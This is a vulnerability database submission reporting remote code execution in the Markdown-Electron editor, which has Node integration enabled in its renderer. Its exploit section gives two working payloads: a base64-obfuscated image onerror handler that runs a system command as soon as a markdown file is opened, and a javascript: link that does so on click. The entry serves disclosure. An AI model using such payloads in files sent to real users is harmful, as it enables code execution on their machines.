| Titolo | Incorrect electron configuration causes RCE |
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| Descrizione | nodeIntegration: true decide Node APIs are enabled in renderer. And Markdown Editor does not filter dangerous operations. When we use this software to open the unknown markdwon file, it may cause Remote code execution (RCE).
EXP
# 0 click
<img src=# onerror='eval(new Buffer(`amF2YXNjcmlwdDpyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnY2FsYycsIChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57YWxlcnQoJ1lvdSB3ZXJlIGhhY2tlZC4nKX0p`, `base64`).toString())'>
# 1 click
<a href="javascript:require('child_process').exec('calc', (error, stdout, stderr)=>{alert('You were hacked.')})">CLICK</a>
For more details, please click the announcement. |
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| Fonte | ⚠️ https://github.com/JP1016/Markdown-Electron/issues/3 |
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| Utente | Tom23 (UID 41413) |
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| Sottomissione | 20/02/2023 13:17 (4 anni fa) |
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| Moderazione | 24/02/2023 09:00 (4 days later) |
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| Stato | Accettato |
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| Voce VulDB | 221738 [JP1016 Markdown-Electron escalationi di privilegi] |
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| Punti | 20 |
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